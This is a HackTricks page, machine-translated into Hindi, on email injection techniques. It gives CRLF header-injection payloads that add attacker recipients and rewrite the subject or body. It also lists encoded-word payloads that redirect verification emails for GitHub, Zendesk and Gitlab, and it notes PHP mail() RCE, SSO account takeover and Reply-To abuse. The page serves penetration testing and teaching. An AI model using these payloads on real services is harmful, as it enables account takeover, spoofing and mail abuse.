Email Injections

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

भेजे गए ई-मेल में इंजेक्ट करें

प्रेषक तर्क के बाद Cc और Bcc इंजेक्ट करें

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

संदेश प्राप्तकर्ता और प्राप्तकर्ता1 खातों को भेजा जाएगा।

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

संदेश मूल प्राप्तकर्ता और हमलावर खाते को भेजा जाएगा।

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

नकली विषय को मूल विषय में जोड़ा जाएगा और कुछ मामलों में इसे बदल भी दिया जाएगा। यह मेल सेवा के व्यवहार पर निर्भर करता है।

संदेश के शरीर को बदलें

एक दो-लाइन फीड इंजेक्ट करें, फिर अपने संदेश को लिखें ताकि संदेश के शरीर को बदला जा सके।

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() फ़ंक्शन का शोषण

bash
# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5वां पैरामीटर ($additional_parameters)

यह अनुभाग इस पर आधारित होगा कि कैसे इस पैरामीटर का दुरुपयोग किया जा सकता है मानते हुए कि एक हमलावर इसे नियंत्रित करता है

यह पैरामीटर उस कमांड लाइन में जोड़ा जाएगा जिसे PHP बाइनरी sendmail को कॉल करने के लिए उपयोग करेगा। हालाँकि, इसे escapeshellcmd($additional_parameters) फ़ंक्शन के साथ साफ किया जाएगा।

एक हमलावर इस मामले में sendmail के लिए अतिरिक्त पैरामीटर इंजेक्ट कर सकता है

/usr/sbin/sendmail के कार्यान्वयन में अंतर

sendmail इंटरफ़ेस MTA ईमेल सॉफ़्टवेयर (Sendmail, Postfix, Exim आदि) द्वारा प्रदान किया गया है जो सिस्टम पर स्थापित है। हालाँकि बुनियादी कार्यक्षमता (जैसे -t -i -f पैरामीटर) संगतता कारणों से एक समान रहती है, अन्य कार्य और पैरामीटर स्थापित MTA के आधार पर बहुत भिन्न होते हैं।

यहाँ sendmail कमांड/इंटरफ़ेस के विभिन्न मैन पृष्ठों के कुछ उदाहरण दिए गए हैं:

  • Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
  • Postfix MTA: http://www.postfix.org/mailq.1.html
  • Exim MTA: https://linux.die.net/man/8/eximReferences

sendmail बाइनरी के उत्पत्ति के आधार पर विभिन्न विकल्पों का पता लगाया गया है ताकि उनका दुरुपयोग किया जा सके और फाइलें लीक की जा सकें या यहां तक कि मनमाने कमांड निष्पादित किए जा सकें। देखें कि कैसे https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

ई-मेल नाम में इंजेक्ट करें

caution

ध्यान दें कि यदि आप किसी सेवा में एक मनमाने डोमेन नाम (जैसे Github, Gitlab, CloudFlare Zero trust...) के साथ एक खाता बनाने में सफल होते हैं और इसे अपने मेल पते पर सत्यापन ईमेल प्राप्त करके सत्यापित करते हैं, तो आप पीड़ित कंपनी के संवेदनशील स्थानों तक पहुँच सकते हैं।

ईमेल के अनदेखे भाग

चिह्न: +, - और {} दुर्लभ अवसरों पर टैगिंग के लिए उपयोग किए जा सकते हैं और अधिकांश ई-मेल सर्वरों द्वारा अनदेखा किया जा सकता है।

  • उदाहरण: john.doe+intigriti@example.com → john.doe@example.com

कोष्ठकों () के बीच टिप्पणियाँ शुरुआत या अंत में भी अनदेखी की जाएंगी।

  • उदाहरण: john.doe(intigriti)@example.com → john.doe@example.com

व्हाइटलिस्ट बायपास

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

उद्धरण

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

आईपी

आप वर्ग ब्रैकेट के बीच डोमेन नाम के रूप में आईपी का भी उपयोग कर सकते हैं:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

ईमेल एन्कोडिंग

जैसा कि इस शोध में समझाया गया है, ईमेल नामों में एन्कोडेड वर्ण भी हो सकते हैं:

  • PHP 256 ओवरफ्लो: PHP chr फ़ंक्शन एक वर्ण में 256 जोड़ता रहेगा जब तक कि यह सकारात्मक नहीं हो जाता और फिर %256 ऑपरेशन करता है।
  • String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

tip

इस ट्रिक का लक्ष्य एक इंजेक्शन के साथ समाप्त होना है जैसे RCPT TO:<"collab@psres.net>collab"@example.com>
जो सत्यापन ईमेल को अपेक्षित ईमेल पते से अलग एक अलग ईमेल पते पर भेजेगा (इसलिए ईमेल नाम के अंदर एक और ईमेल पते को पेश करना और ईमेल भेजते समय सिंटैक्स को तोड़ना)।

विभिन्न एन्कोडिंग:

bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

  • Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
  • ध्यान दें कि एन्कोडेड @ =40 के रूप में, एन्कोडेड > =3e के रूप में और null =00 के रूप में है
  • यह सत्यापन ईमेल collab@psres.net पर भेजेगा
  • Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
  • पहले की तरह ही चाल लेकिन शुरुआत में कुछ सामान्य उद्धरण जोड़ना और एन्कोडेड उद्धरण =22 को एन्कोडेड @ से पहले जोड़ना और फिर अगले ईमेल से पहले कुछ उद्धरण शुरू और बंद करना ताकि Zendesk द्वारा आंतरिक रूप से उपयोग की गई सिंटैक्स को ठीक किया जा सके
  • यह सत्यापन ईमेल collab@psres.net पर भेजेगा
  • Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
  • पता अलग करने के लिए अंडरस्कोर का उपयोग करने पर ध्यान दें
  • यह सत्यापन ईमेल collab@psres.net पर भेजेगा
  • Punycode: Punycode का उपयोग करके Joomla में <style टैग को इंजेक्ट करना संभव था और इसे CSRF टोकन को CSS एक्सफिल्ट्रेशन के माध्यम से चुराने के लिए दुरुपयोग करना।

Tooling

  • इन प्रकार के संयोजनों को फज़ करने के लिए एक Burp Suite Turbo Intruder स्क्रिप्ट है ताकि ईमेल प्रारूपों पर हमला करने की कोशिश की जा सके। स्क्रिप्ट में पहले से ही संभावित कार्यशील संयोजन हैं।
  • Hackvertor का उपयोग करके एक ईमेल स्प्लिटिंग हमले को भी करना संभव है

Other vulns

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Third party SSO

XSS

कुछ सेवाएँ जैसे github या salesforce आपको XSS पेलोड्स के साथ एक ईमेल पता बनाने की अनुमति देती हैं। यदि आप इन प्रदाताओं का उपयोग करके अन्य सेवाओं में लॉगिन कर सकते हैं और ये सेवाएँ ईमेल को सही ढंग से साफ नहीं कर रही हैं, तो आप XSS का कारण बन सकते हैं।

Account-Takeover

यदि एक SSO सेवा आपको दिए गए ईमेल पते को सत्यापित किए बिना एक खाता बनाने की अनुमति देती है (जैसे salesforce) और फिर आप उस खाते का उपयोग करके किसी अन्य सेवा में लॉगिन कर सकते हैं जो salesforce पर भरोसा करती है, तो आप किसी भी खाते तक पहुँच सकते हैं।
ध्यान दें कि salesforce यह संकेत करता है कि दिया गया ईमेल सत्यापित था या नहीं लेकिन इसलिए एप्लिकेशन को इस जानकारी को ध्यान में रखना चाहिए।

Reply-To

आप From: company.com का उपयोग करके एक ईमेल भेज सकते हैं और Replay-To: attacker.com और यदि कोई स्वचालित उत्तर भेजा जाता है क्योंकि ईमेल आंतरिक पते से भेजा गया था तो हमलावर उस प्रतिक्रिया को प्राप्त कर सकता है।

Hard Bounce Rate

कुछ सेवाएँ, जैसे AWS, एक थ्रेशोल्ड लागू करती हैं जिसे Hard Bounce Rate के रूप में जाना जाता है, जो आमतौर पर 10% पर सेट होता है। यह एक महत्वपूर्ण मैट्रिक है, विशेष रूप से ईमेल डिलीवरी सेवाओं के लिए। जब यह दर पार हो जाती है, तो सेवा, जैसे AWS की ईमेल सेवा, निलंबित या अवरुद्ध हो सकती है।

एक hard bounce उस ईमेल को संदर्भित करता है जो प्रेषक के पास वापस आ गया है क्योंकि प्राप्तकर्ता का पता अमान्य या अस्तित्वहीन है। यह विभिन्न कारणों से हो सकता है, जैसे कि ईमेल को एक गैर-मौजूद पते पर भेजा गया, एक ऐसा डोमेन जो वास्तविक नहीं है, या प्राप्तकर्ता सर्वर का ईमेल स्वीकार करने से इनकार करना।

AWS के संदर्भ में, यदि आप 1000 ईमेल भेजते हैं और उनमें से 100 हार्ड बाउंस में परिणामित होते हैं (जैसे अमान्य पते या डोमेन के कारण), तो इसका मतलब होगा 10% हार्ड बाउंस दर। इस दर तक पहुँचने या इसे पार करने से AWS SES (Simple Email Service) आपके ईमेल भेजने की क्षमताओं को अवरुद्ध या निलंबित कर सकता है।

बिना रुकावट ईमेल सेवा सुनिश्चित करने और प्रेषक की प्रतिष्ठा बनाए रखने के लिए एक कम हार्ड बाउंस दर बनाए रखना महत्वपूर्ण है। आपके मेलिंग सूचियों में ईमेल पते की गुणवत्ता की निगरानी और प्रबंधन करना इस लक्ष्य को प्राप्त करने में महत्वपूर्ण रूप से मदद कर सकता है।

अधिक विस्तृत जानकारी के लिए, AWS के आधिकारिक दस्तावेज़ में बाउंस और शिकायतों को संभालने के बारे में देखा जा सकता है AWS SES Bounce Handling

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें